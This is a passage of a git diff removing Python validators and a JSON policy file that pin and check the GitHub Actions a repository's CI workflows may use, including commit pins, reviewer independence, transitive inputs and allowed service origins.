_reachable_sources(roots: set[str], edges: Mapping[str, set[str]]) -> set[str]: - reachable: set[str] = set() - pending = list(roots) - while pending: - source = pending.pop() - if source not in reachable: - reachable.add(source) - pending.extend(edges.get(source, ())) - return reachable - - -def _admission_policies( - documents: Mapping[str, dict[str, Any]], -) -> dict[str, Mapping[str, Any]]: - admission = documents.get(ADMISSION_POLICY_PATH) or {} - return { - item["policy_id"]: item - for item in as_list(admission.get("policies")) - if isinstance(item, Mapping) and isinstance(item.get("policy_id"), str) - } - - -def _host_context( - documents: Mapping[str, dict[str, Any]], -) -> tuple[set[str], dict[str, set[str]], dict[str, list[Mapping[str, Any]]]]: - host_profiles = _host_profiles(documents) - profile_ids = {str(item["host_profile_id"]) for item in host_profiles} - return profile_ids, _host_capabilities(host_profiles), _artifact_platforms(documents) - - -def _host_profiles(documents: Mapping[str, dict[str, Any]]) -> list[Mapping[str, Any]]: - return [ - item - for item in as_list(as_mapping(documents.get(PROFILES_PATH)).get("host_profiles")) - if isinstance(item, Mapping) and isinstance(item.get("host_profile_id"), str) - ] - - -def _host_capabilities(host_profiles: list[Mapping[str, Any]]) -> dict[str, set[str]]: - return { - str(item["host_profile_id"]): { - *string_set(item.get("required_capability_ids")), - *string_set(item.get("optional_capability_ids")), - } - for item in host_profiles - } - - -def _artifact_platforms( - documents: Mapping[str, dict[str, Any]], -) -> dict[str, list[Mapping[str, Any]]]: - return { - str(item["artifact_id"]): [ - platform for platform in as_list(item.get("platforms")) if isinstance(platform, Mapping) - ] - for item in as_list(as_mapping(documents.get(ARTIFACT_LOCK_PATH)).get("artifacts")) - if isinstance(item, Mapping) and isinstance(item.get("artifact_id"), str) - } - - -def action_failures( - repo_root: Path, - documents: Mapping[str, dict[str, Any]], - tracked_paths: Sequence[str], -) -> list[PolicyFailure]: - """Validate every action source, transitive input, job, and use occurrence.""" - - policy = documents.get(ACTIONS_POLICY_PATH) - if policy is None: - return [] - sources, identities, failures = declared_action_sources(policy, _admission_policies(documents)) - exceptions, exception_failures = declared_exceptions(policy) - failures.extend(exception_failures) - failures.extend(walk_forbidden_keys(policy, path=ACTIONS_POLICY_PATH)) - edges, _origins, _referenced, closure_failures = source_closure_failures(documents, sources, exceptions) - failures.extend(closure_failures) - workflows, parse_failures = workflow_documents(repo_root, tracked_paths) - failures.extend(parse_failures) - profile_ids, capabilities, artifact_platforms = _host_context(documents) - context = ActionPolicyContext( - identities, - sources, - exceptions, - artifact_platforms, - capabilities, - profile_ids, - string_set(policy.get("protected_refs")), - ) - observed_sources, job_failures = job_and_use_failures(workflows, policy, context) - failures.extend(job_failures) - failures.extend(local_workflow_failures(workflows, policy)) - failures.extend(_dependabot_failures(repo_root, tracked_paths, policy)) - reachable = _reachable_sources(observed_sources, edges) - failures.extend( - failure( - "tooling-action-stale", - "action policy contains an unused source reference", - ACTIONS_POLICY_PATH, - ) - for _unused in sorted(set(sources) - reachable) - ) - return failures - - -__all__ = ("action_failures",) diff --git a/implementations/tooling/action_policy_matrix.py b/implementations/tooling/action_policy_matrix.py deleted file mode 100644 index a37986502..000000000 --- a/implementations/tooling/action_policy_matrix.py +++ /dev/null @@ -1,139 +0,0 @@ -"""Closed workflow matrix and runner-profile expansion.""" - -from __future__ import annotations - -import re -from collections.abc import Callable, Iterable, Mapping -from itertools import product -from typing import Any - -from tools.tooling_artifact_policy_common import as_list, as_mapping - -_MATRIX_EXPRESSION_RE = re.compile( - r"^\$\{\{\s*matrix\." - r"([A-Za-z_][A-Za-z0-9_-]*(?:\.[A-Za-z_][A-Za-z0-9_-]*)*)" - r"\s*\}\}$" -) -_MUTABLE_RUNNERS = frozenset({"ubuntu-latest", "windows-latest", "macos-latest"}) -_RUNNER_PROFILES = { - "ubuntu-22.04": "proof-ubuntu-22.04-x86_64", - "ubuntu-24.04": "public-ubuntu-24.04-x86_64", - "ubuntu-24.04-arm": "public-linux-arm64", - "macos-15": "public-macos-arm64", -} -_MAX_MATRIX_ROWS = 256 - - -def matrix_rows( - job: Mapping[str, Any], - *, - product_values: Callable[..., Iterable[tuple[object, ...]]] = product, -) -> tuple[list[dict[str, object]], bool]: - matrix = as_mapping(as_mapping(job.get("strategy")).get("matrix")) - if not matrix: - result = ([{}], False) - else: - axis_names = [name for name in matrix if name not in {"include", "exclude"}] - includes, invalid = _matrix_includes(matrix, axis_names) - if invalid: - result = ([], True) - elif includes is not None: - result = (includes, False) - else: - result = _axis_matrix_rows(matrix, axis_names, product_values) - return result - - -def _matrix_includes( - matrix: Mapping[str, Any], - axis_names: list[str], -) -> tuple[list[dict[str, object]] | None, bool]: - includes = [dict(item) for item in as_list(matrix.get("include")) if isinstance(item, Mapping)] - if len(includes) != len(as_list(matrix.get("include"))) or len(includes) > _MAX_MATRIX_ROWS: - result: tuple[list[dict[str, object]] | None, bool] = ([], True) - elif axis_names and includes: - result = ([], True) - elif includes: - result = (includes, False) - else: - result = (None, False) - return result - - -def _axis_matrix_rows( - matrix: Mapping[str, Any], - axis_names: list[str], - product_values: Callable[..., Iterable[tuple[object, ...]]], -) -> tuple[list[dict[str, object]], bool]: - axes, row_count = _matrix_axes(matrix, axis_names) - excludes, invalid_excludes = _matrix_excludes(matrix) - invalid = row_count == 0 or row_count > _MAX_MATRIX_ROWS or invalid_excludes - if invalid: - rows: list[dict[str, object]] = [] - else: - candidates = [dict(zip(axis_names, values, strict=True)) for values in product_values(*axes)] - rows = [row for row in candidates if not any(_row_matches(row, excluded) for excluded in excludes)] - return rows, invalid - - -def _matrix_axes( - matrix: Mapping[str, Any], - axis_names: list[str], -) -> tuple[list[list[object]], int]: - axes: list[list[object]] = [] - row_count = 1 - for name in axis_names: - values = as_list(matrix.get(name)) - if not values: - return [], 0 - axes.append(values) - row_count *= len(values) - return axes, row_count - - -def _matrix_excludes(matrix: Mapping[str, Any]) -> tuple[list[Mapping[object, object]], bool]: - raw_excludes = as_list(matrix.get("exclude")) - excludes = [item for item in raw_excludes if isinstance(item, Mapping)] - return excludes, len(excludes) != len(raw_excludes) - - -def _row_matches(row: Mapping[str, object], excluded: Mapping[object, object]) -> bool: - return all(row.get(str(name)) == value for name, value in excluded.items()) - - -def matrix_value(value: object, row: Mapping[str, object]) -> tuple[object, bool]: - match = _MATRIX_EXPRESSION_RE.fullmatch(value) if isinstance(value, str) and "matrix." in value else None - if match is None: - return value, False - current: object = row - for component in match.group(1).split("."): - if not isinstance(current, Mapping) or component not in current: - return value, True - current = current[component] - return current, False - - -def runner_profiles( - job: Mapping[str, Any], - *, - product_values: Callable[..., Iterable[tuple[object, ...]]] = product, -) -> tuple[str, list[tuple[str, dict[str, object]]], bool]: - runner = job.get("runs-on") - if runner is None and isinstance(job.get("uses"), str): - return "reusable-workflow", [], not str(job.get("uses")).startswith("./") - selector = str(runner) - rows, invalid = matrix_rows(job, product_values=product_values) - contexts: list[tuple[str, dict[str, object]]] = [] - for row in rows: - concrete, unresolved = matrix_value(runner, row) - value = str(concrete) - unresolved_runner = "matrix." in selector and _MATRIX_EXPRESSION_RE.fullmatch(selector) is None - invalid = ( - invalid or unresolved or unresolved_runner or value in _MUTABLE_RUNNERS or value not in _RUNNER_PROFILES - ) - if value in _RUNNER_PROFILES: - contexts.append((_RUNNER_PROFILES[value], row)) - return selector, contexts, invalid - - -__all__ = ("matrix_rows", "matrix_value", "runner_profiles") diff --git a/implementations/tooling/action_policy_sources.py b/implementations/tooling/action_policy_sources.py deleted file mode 100644 index 529319644..000000000 --- a/implementations/tooling/action_policy_sources.py +++ /dev/null @@ -1,378 +0,0 @@ -"""Action-source declarations, dependency closure, and per-use effects.""" - -from __future__ import annotations - -import re -from collections.abc import Mapping -from dataclasses import dataclass, field -from typing import Any -from urllib.parse import urlsplit - -from tools.policy.common import PolicyFailure -from tools.tooling_artifact_policy_common import ( - ACTIONS_POLICY_PATH, - ARTIFACT_LOCK_PATH, - PROFILES_PATH, - as_list, - as_mapping, - failure, - has_secret_bearing_locator, - policy_join_failures, - string_set, -) - -_ORIGIN_RE = re.compile(r"^(?:\*\.)?[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$") -_GITHUB_ORIGINS = {"api.github.com", "codeload.github.com", "github.com"} - - -def safe_origins(value: object) -> bool: - origins = as_list(value) - return all( - isinstance(origin, str) - and _ORIGIN_RE.fullmatch(origin) is not None - and not has_secret_bearing_locator(f"https://{origin}") - for origin in origins - ) - - -def declared_action_sources( - policy: Mapping[str, Any], - admission_policies: Mapping[str, Mapping[str, Any]], -) -> tuple[ - dict[str, Mapping[str, Any]], - dict[tuple[str, str], tuple[str, Mapping[str, Any]]], - list[PolicyFailure], -]: - failures = policy_join_failures( - policy_refs=string_set(policy.get("policy_refs")), - expected_subjects={"action"}, - provided_evidence={"git-commit-sha", "reviewed-workflow-reference"}, - policies=admission_policies, - path=ACTIONS_POLICY_PATH, - context="actions policy", - require_all_evidence_per_policy=True, - ) - sources: dict[str, Mapping[str, Any]] = {} - identities: dict[tuple[str, str], tuple[str, Mapping[str, Any]]] = {} - for action_value in as_list(policy.get("actions")): - action = as_mapping(action_value) - name = action.get("action") - commit = action.get("commit") - if not isinstance(name, str) or not isinstance(commit, str): - continue - normalized = name.lower() - identity = (normalized, commit) - source_id = action.get("source_id") - if not isinstance(source_id, str): - source_id = f"{normalized}@{commit}" - if source_id in sources or identity in identities: - failures.append( - failure( - "tooling-action-duplicate", - "duplicate action source policy entry", - ACTIONS_POLICY_PATH, - ) - ) - sources[source_id] = action - identities[identity] = (source_id, action) - if string_set(action.get("owner_roles")) & string_set(action.get("reviewer_roles")): - failures.append( - failure( - "tooling-action-source-review", - "action source owner and reviewer roles must be independent", - ACTIONS_POLICY_PATH, - ) - ) - return sources, identities, failures - - -def declared_exceptions( - policy: Mapping[str, Any], -) -> tuple[dict[str, Mapping[str, Any]], list[PolicyFailure]]: - exceptions: dict[str, Mapping[str, Any]] = {} - failures: list[PolicyFailure] = [] - evaluation_date = policy.get("exception_evaluation_date") - for value in as_list(policy.get("service_managed_exceptions")): - item = as_mapping(value) - exception_id = item.get("exception_id") - if not isinstance(exception_id, str): - continue - if exception_id in exceptions: - failures.append( - failure( - "tooling-action-exception", - "duplicate service-managed exception", - ACTIONS_POLICY_PATH, - ) - ) - exceptions[exception_id] = item - failures.extend(_exception_failures(item, evaluation_date)) - return exceptions, failures - - -def _exception_failures(item: Mapping[str, Any], evaluation_date: object) -> list[PolicyFailure]: - failures: list[PolicyFailure] = [] - if string_set(item.get("owner_roles")) & string_set(item.get("reviewer_roles")): - failures.append( - failure( - "tooling-action-exception", - "service-managed exception owner and reviewer roles must be independent", - ACTIONS_POLICY_PATH, - ) - ) - review_on = item.get("review_on") - if isinstance(evaluation_date, str) and isinstance(review_on, str) and review_on < evaluation_date: - failures.append( - failure( - "tooling-action-exception-expired", - "service-managed exception is expired at the reviewed evaluation date", - ACTIONS_POLICY_PATH, - ) - ) - if not safe_origins(item.get("allowed_origins")): - failures.append( - failure( - "tooling-action-origin", - "service-managed exception contains an unsafe origin", - ACTIONS_POLICY_PATH, - ) - ) - return failures - - -@dataclass -class _SourceGraph: - artifact_ids: set[str] - artifact_origins: dict[str, set[str]] - capabilities: set[str] - sources: Mapping[str, Mapping[str, Any]] - exceptions: Mapping[str, Mapping[str, Any]] - edges: dict[str, set[str]] = field(default_factory=dict) - direct_origins: dict[str, set[str]] = field(default_factory=dict) - referenced_exceptions: set[str] = field(default_factory=set) - failures: list[PolicyFailure] = field(default_factory=list) - - -def _artifact_inputs( - documents: Mapping[str, dict[str, Any]], -) -> tuple[set[str], dict[str, set[str]]]: - artifacts = as_list(as_mapping(documents.get(ARTIFACT_LOCK_PATH)).get("artifacts")) - artifact_ids: set[str] = set() - artifact_origins: dict[str, set[str]] = {} - for artifact_value in artifacts: - artifact = as_mapping(artifact_value) - artifact_id = artifact.get("artifact_id") - if not isinstance(artifact_id, str): - continue - artifact_ids.add(artifact_id) - origins = artifact_origins.setdefault(artifact_id, set()) - for platform_value in as_list(artifact.get("platforms")): - for source_url in as_list(as_mapping(platform_value).get("source_urls")): - if isinstance(source_url, str) and (hostname := urlsplit(source_url).hostname): - origins.add(hostname.lower()) - return artifact_ids, artifact_origins - - -def _profile_capabilities(documents: Mapping[str, dict[str, Any]]) -> set[str]: - profiles = as_list(as_mapping(documents.get(PROFILES_PATH)).get("host_profiles")) - return { - capability - for host in profiles - if isinstance(host, Mapping) - for capability in ( - *string_set(host.get("required_capability_ids")), - *string_set(host.get("optional_capability_ids")), - ) - } - - -def _initialize_graph( - documents: Mapping[str, dict[str, Any]], - sources: Mapping[str, Mapping[str, Any]], - exceptions: Mapping[str, Mapping[str, Any]], -) -> _SourceGraph: - artifact_ids, artifact_origins = _artifact_inputs(documents) - return _SourceGraph( - artifact_ids, - artifact_origins, - _profile_capabilities(documents), - sources, - exceptions, - edges={name: set() for name in sources}, - direct_origins={name: set(_GITHUB_ORIGINS) for name in sources}, - ) - - -def _record_artifact_input(graph: _SourceGraph, source_name: str, artifact_ref: object) -> None: - if not isinstance(artifact_ref, str): - return - if artifact_ref not in graph.artifact_ids: - graph.failures.append( - failure( - "tooling-action-transitive-input", - "action references an unknown artifact payload", - ACTIONS_POLICY_PATH, - ) - ) - else: - graph.direct_origins[source_name].update(graph.artifact_origins.get(artifact_ref, set())) - - -def _record_capability_input(graph: _SourceGraph, capability_ref: object) -> None: - if isinstance(capability_ref, str) and capability_ref not in graph.capabilities: - graph.failures.append( - failure( - "tooling-action-transitive-input", - "action references an unknown host capability", - ACTIONS_POLICY_PATH, - ) - ) - - -def _record_exception_input( - graph: _SourceGraph, - source_name: str, - source: Mapping[str, Any], - input_id: str, - exception_ref: object, -) -> None: - if not isinstance(exception_ref, str): - return - graph.referenced_exceptions.add(exception_ref) - exception = graph.exceptions.get(exception_ref) - valid = ( - exception is not None - and exception.get("source_id") == source_name - and str(exception.get("action", "")).lower() == str(source.get("action", "")).lower() - and exception.get("input_id") == input_id - ) - if not valid: - graph.failures.append( - failure( - "tooling-action-transitive-input", - "action exception does not join the exact source and input", - ACTIONS_POLICY_PATH, - ) - ) - else: - graph.direct_origins[source_name].update(string_set(exception.get("allowed_origins"))) - - -def _record_action_input(graph: _SourceGraph, source_name: str, action_ref: object) -> None: - if not isinstance(action_ref, str): - return - graph.edges[source_name].add(action_ref) - if action_ref not in graph.sources: - graph.failures.append( - failure( - "tooling-action-transitive-input", - "action references an unknown nested source", - ACTIONS_POLICY_PATH, - ) - ) - - -def _record_source_inputs(graph: _SourceGraph, source_name: str, source: Mapping[str, Any]) -> None: - input_ids: set[str] = set() - for value in as_list(source.get("transitive_inputs")): - transitive_input = as_mapping(value) - input_id = transitive_input.get("input_id") - if not isinstance(input_id, str): - continue - if input_id in input_ids: - graph.failures.append( - failure( - "tooling-action-transitive-input", - "duplicate transitive input id", - ACTIONS_POLICY_PATH, - ) - ) - input_ids.add(input_id) - _record_artifact_input(graph, source_name, transitive_input.get("artifact_ref")) - _record_capability_input(graph, transitive_input.get("host_capability_ref")) - _record_exception_input( - graph, - source_name, - source, - input_id, - transitive_input.get("service_managed_exception_ref"), - ) - _record_action_input(graph, source_name, transitive_input.get("action_source_ref")) - - -def _cycle_failures(edges: Mapping[str, set[str]]) -> list[PolicyFailure]: - failures: list[PolicyFailure] = [] - active: set[str] = set() - visited: set[str] = set() - - def visit(node: str) -> None: - if node in active: - failures.append( - failure( - "tooling-action-transitive-cycle", - "action source dependency graph is cyclic", - ACTIONS_POLICY_PATH, - ) - ) - elif node not in visited and node in edges: - active.add(node) - for child in sorted(edges[node]): - visit(child) - active.remove(node) - visited.add(node) - - for source_name in sorted(edges): - visit(source_name) - return failures - - -def _closure_origins( - sources: Mapping[str, Mapping[str, Any]], - edges: Mapping[str, set[str]], - direct_origins: Mapping[str, set[str]], -) -> dict[str, set[str]]: - closure: dict[str, set[str]] = {} - - def origins_for(source_name: str, pending: set[str]) -> set[str]: - if source_name in closure: - return closure[source_name] - if source_name in pending: - return set() - origins = set(direct_origins.get(source_name, set())) - for child in edges.get(source_name, set()): - origins.update(origins_for(child, {*pending, source_name})) - closure[source_name] = origins - return origins - - for source_name in sorted(sources): - origins_for(source_name, set()) - return closure - - -def source_closure_failures( - documents: Mapping[str, dict[str, Any]], - sources: Mapping[str, Mapping[str, Any]], - exceptions: Mapping[str, Mapping[str, Any]], -) -> tuple[dict[str, set[str]], dict[str, set[str]], set[str], list[PolicyFailure]]: - graph = _initialize_graph(documents, sources, exceptions) - for source_name, source in sources.items(): - _record_source_inputs(graph, source_name, source) - for _unused in sorted(set(exceptions) - graph.referenced_exceptions): - graph.failures.append( - failure( - "tooling-action-exception", - "unused service-managed exception", - ACTIONS_POLICY_PATH, - ) - ) - graph.failures.extend(_cycle_failures(graph.edges)) - closure = _closure_origins(sources, graph.edges, graph.direct_origins) - return graph.edges, closure, graph.referenced_exceptions, graph.failures - - -__all__ = ( - "declared_action_sources", - "declared_exceptions", - "safe_origins", - "source_closure_failures", -) diff --git a/implementations/tooling/actions-policy.json b/implementations/tooling/actions-policy.json deleted file mode 100644 index edcc7a42f..000000000 --- a/implementations/tooling/actions-policy.json +++ /dev/null @@ -1,3782 +0,0 @@ -{ - "schema_version": "raes-development-actions-policy/v2", - "policy_revision": "2026-09-11", - "exception_evaluation_date": "2026-09-11", - "policy_refs": [ - "action-source-v1" - ], - "actions": [ - { - "source_id": "checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "owner_roles": [ - "Tooling" - ], - "reviewer_roles": [ - "Security" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/actions/checkout/3d3c42e5aac5ba805825da76410c181273ba90b1/action.yml", - "transitive_inputs": [ - { - "input_id": "git-client", - "host_capability_ref": "git" - }, - { - "input_id": "github-source-service", - "service_managed_exception_ref": "checkout-github-source-service" - } - ], - "security_effects": { - "closed_inputs": { - "persist-credentials": [ - false - ] - }, - "credentials": [], - "cache": [], - "artifact": [] - } - }, - { - "source_id": "codeql-upload-sarif", - "action": "github/codeql-action/upload-sarif", - "commit": "cdf488f595d80d6e07e03d4674febd5ab45fa938", - "owner_roles": [ - "Security" - ], - "reviewer_roles": [ - "Tooling" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/github/codeql-action/cdf488f595d80d6e07e03d4674febd5ab45fa938/upload-sarif/action.yml", - "transitive_inputs": [ - { - "input_id": "code-scanning-service", - "service_managed_exception_ref": "codeql-upload-sarif-service" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [] - } - }, - { - "source_id": "deploy-pages", - "action": "actions/deploy-pages", - "commit": "368f82528645a54fb793d4d04e342629a3f51346", - "owner_roles": [ - "Docs" - ], - "reviewer_roles": [ - "Security" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/actions/deploy-pages/368f82528645a54fb793d4d04e342629a3f51346/action.yml", - "transitive_inputs": [ - { - "input_id": "pages-deployment-service", - "service_managed_exception_ref": "deploy-pages-service" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [ - { - "role": "read-same-run" - } - ] - } - }, - { - "source_id": "download-artifact", - "action": "actions/download-artifact", - "commit": "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c", - "owner_roles": [ - "Tooling" - ], - "reviewer_roles": [ - "Security" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/actions/download-artifact/3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c/action.yml", - "transitive_inputs": [ - { - "input_id": "actions-artifact-service", - "service_managed_exception_ref": "download-artifact-service" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [ - { - "role": "read-same-run" - } - ] - } - }, - { - "source_id": "harden-runner", - "action": "step-security/harden-runner", - "commit": "e14015d583714f6e62063499dc959a02595150a1", - "owner_roles": [ - "Security" - ], - "reviewer_roles": [ - "Tooling" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/step-security/harden-runner/e14015d583714f6e62063499dc959a02595150a1/action.yml", - "transitive_inputs": [ - { - "input_id": "stepsecurity-agent-service", - "service_managed_exception_ref": "harden-runner-agent-service" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [] - } - }, - { - "source_id": "pypi-publish", - "action": "pypa/gh-action-pypi-publish", - "commit": "dc37677b2e1c63e2034f94d8a5b11f265b73ba33", - "owner_roles": [ - "Release" - ], - "reviewer_roles": [ - "Security" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "composite", - "closure_review_ref": "https://raw.githubusercontent.com/pypa/gh-action-pypi-publish/dc37677b2e1c63e2034f94d8a5b11f265b73ba33/action.yml", - "transitive_inputs": [ - { - "input_id": "nested-setup-python", - "action_source_ref": "setup-python-pypi" - }, - { - "input_id": "container-daemon", - "host_capability_ref": "container-daemon" - }, - { - "input_id": "container-base-image", - "service_managed_exception_ref": "pypi-publish-container-base" - }, - { - "input_id": "container-python-dependencies", - "service_managed_exception_ref": "pypi-publish-container-dependencies" - }, - { - "input_id": "pypi-trusted-publishing", - "service_managed_exception_ref": "pypi-publish-service" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [] - } - }, - { - "source_id": "release-please", - "action": "googleapis/release-please-action", - "commit": "45996ed1f6d02564a971a2fa1b5860e934307cf7", - "owner_roles": [ - "Release" - ], - "reviewer_roles": [ - "Security" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/googleapis/release-please-action/45996ed1f6d02564a971a2fa1b5860e934307cf7/action.yml", - "transitive_inputs": [ - { - "input_id": "github-release-service", - "service_managed_exception_ref": "release-please-github-service" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [] - } - }, - { - "source_id": "scorecard", - "action": "ossf/scorecard-action", - "commit": "2d1146689b8cda280b9bc96326124645441f03bc", - "owner_roles": [ - "Security" - ], - "reviewer_roles": [ - "Tooling" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "docker", - "closure_review_ref": "https://raw.githubusercontent.com/ossf/scorecard-action/2d1146689b8cda280b9bc96326124645441f03bc/action.yaml", - "transitive_inputs": [ - { - "input_id": "scorecard-container-image", - "artifact_ref": "scorecard-action-image" - }, - { - "input_id": "scorecard-services", - "service_managed_exception_ref": "scorecard-public-services" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [] - } - }, - { - "source_id": "setup-python-direct", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "owner_roles": [ - "Tooling" - ], - "reviewer_roles": [ - "Security" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/actions/setup-python/5fda3b95a4ea91299a34e894583c3862153e4b97/action.yml", - "transitive_inputs": [ - { - "input_id": "cpython-3.11", - "artifact_ref": "cpython-3.11", - "when": { - "input": "python-version", - "operator": "equals", - "value": "3.11.16" - } - }, - { - "input_id": "cpython-3.12", - "artifact_ref": "cpython-3.12", - "when": { - "input": "python-version", - "operator": "equals", - "value": "3.12.14" - } - }, - { - "input_id": "cpython-3.13", - "artifact_ref": "cpython-3.13", - "when": { - "input": "python-version", - "operator": "equals", - "value": "3.13.15" - } - }, - { - "input_id": "cpython-3.14", - "artifact_ref": "cpython-3.14", - "when": { - "input": "python-version", - "operator": "equals", - "value": "3.14.7" - } - }, - { - "input_id": "cpython-3.14t", - "artifact_ref": "cpython-3.14t", - "when": { - "input": "python-version", - "operator": "equals", - "value": "3.14.7t" - } - }, - { - "input_id": "archive-tools", - "host_capability_ref": "generic-tools" - } - ], - "security_effects": { - "closed_inputs": { - "python-version": [ - "3.11.16", - "3.12.14", - "3.13.15", - "3.14.7", - "3.14.7t" - ] - }, - "credentials": [ - { - "credential_class": "actions-cache-token", - "when": { - "input": "cache", - "operator": "present" - } - } - ], - "cache": [ - { - "role": "write", - "when": { - "input": "cache", - "operator": "present" - } - } - ], - "artifact": [] - } - }, - { - "source_id": "setup-python-pypi", - "action": "actions/setup-python", - "commit": "a309ff8b426b58ec0e2a45f0f869d46889d02405", - "owner_roles": [ - "Release" - ], - "reviewer_roles": [ - "Security" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/actions/setup-python/a309ff8b426b58ec0e2a45f0f869d46889d02405/action.yml", - "transitive_inputs": [ - { - "input_id": "archive-tools", - "host_capability_ref": "generic-tools" - }, - { - "input_id": "runner-python-fallback", - "service_managed_exception_ref": "setup-python-pypi-fallback" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [] - } - }, - { - "source_id": "setup-uv", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "owner_roles": [ - "Tooling" - ], - "reviewer_roles": [ - "Security" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/astral-sh/setup-uv/20cfd1bf945f4377ade1205e4dbc17946fc9a30d/action.yml", - "transitive_inputs": [ - { - "input_id": "uv-cli", - "artifact_ref": "uv" - }, - { - "input_id": "archive-tools", - "host_capability_ref": "generic-tools" - } - ], - "security_effects": { - "closed_inputs": { - "version": [ - "0.12.4" - ], - "enable-cache": [ - false - ] - }, - "credentials": [ - { - "credential_class": "actions-cache-token", - "when": { - "input": "enable-cache", - "operator": "not-equals", - "value": false - } - } - ], - "cache": [ - { - "role": "write", - "when": { - "input": "enable-cache", - "operator": "not-equals", - "value": false - } - } - ], - "artifact": [] - } - }, - { - "source_id": "sonarqube-scan", - "action": "SonarSource/sonarqube-scan-action", - "commit": "22918119ff8e1ca75a623e15c8296b6ea4fbe28f", - "owner_roles": [ - "Security" - ], - "reviewer_roles": [ - "Tooling" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/SonarSource/sonarqube-scan-action/22918119ff8e1ca75a623e15c8296b6ea4fbe28f/action.yml", - "transitive_inputs": [ - { - "input_id": "scanner-cli", - "artifact_ref": "sonar-scanner-cli" - }, - { - "input_id": "sonarcloud-service", - "service_managed_exception_ref": "sonarqube-scan-sonarcloud-service" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [] - } - }, - { - "source_id": "upload-artifact-direct", - "action": "actions/upload-artifact", - "commit": "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", - "owner_roles": [ - "Tooling" - ], - "reviewer_roles": [ - "Security" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/actions/upload-artifact/043fb46d1a93c77aae656e7c1c64a875d1fc6a0a/action.yml", - "transitive_inputs": [ - { - "input_id": "actions-artifact-service", - "service_managed_exception_ref": "upload-artifact-direct-service" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [ - { - "role": "write" - } - ] - } - }, - { - "source_id": "upload-artifact-pages", - "action": "actions/upload-artifact", - "commit": "bbbca2ddaa5d8feaa63e36b76fdaad77386f024f", - "owner_roles": [ - "Docs" - ], - "reviewer_roles": [ - "Security" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "node24", - "closure_review_ref": "https://raw.githubusercontent.com/actions/upload-artifact/bbbca2ddaa5d8feaa63e36b76fdaad77386f024f/action.yml", - "transitive_inputs": [ - { - "input_id": "actions-artifact-service", - "service_managed_exception_ref": "upload-artifact-pages-service" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [ - { - "role": "write" - } - ] - } - }, - { - "source_id": "upload-pages-artifact", - "action": "actions/upload-pages-artifact", - "commit": "fc324d3547104276b827a68afc52ff2a11cc49c9", - "owner_roles": [ - "Docs" - ], - "reviewer_roles": [ - "Security" - ], - "trust_root_refs": [ - "git-commit-sha", - "reviewed-workflow-reference" - ], - "runtime": "composite", - "closure_review_ref": "https://raw.githubusercontent.com/actions/upload-pages-artifact/fc324d3547104276b827a68afc52ff2a11cc49c9/action.yml", - "transitive_inputs": [ - { - "input_id": "archive-tools", - "host_capability_ref": "generic-tools" - }, - { - "input_id": "nested-upload-action", - "action_source_ref": "upload-artifact-pages" - } - ], - "security_effects": { - "closed_inputs": {}, - "credentials": [], - "cache": [], - "artifact": [] - } - } - ], - "service_managed_exceptions": [ - { - "exception_id": "checkout-github-source-service", - "source_id": "checkout", - "action": "actions/checkout", - "input_id": "github-source-service", - "reason": "GitHub archive and Git transport responses are service-managed.", - "operation": "fetch the workflow-selected repository commit", - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "credential_class": "github-token", - "credential_forwarding": "same-origin-only", - "owner_roles": [ - "Tooling" - ], - 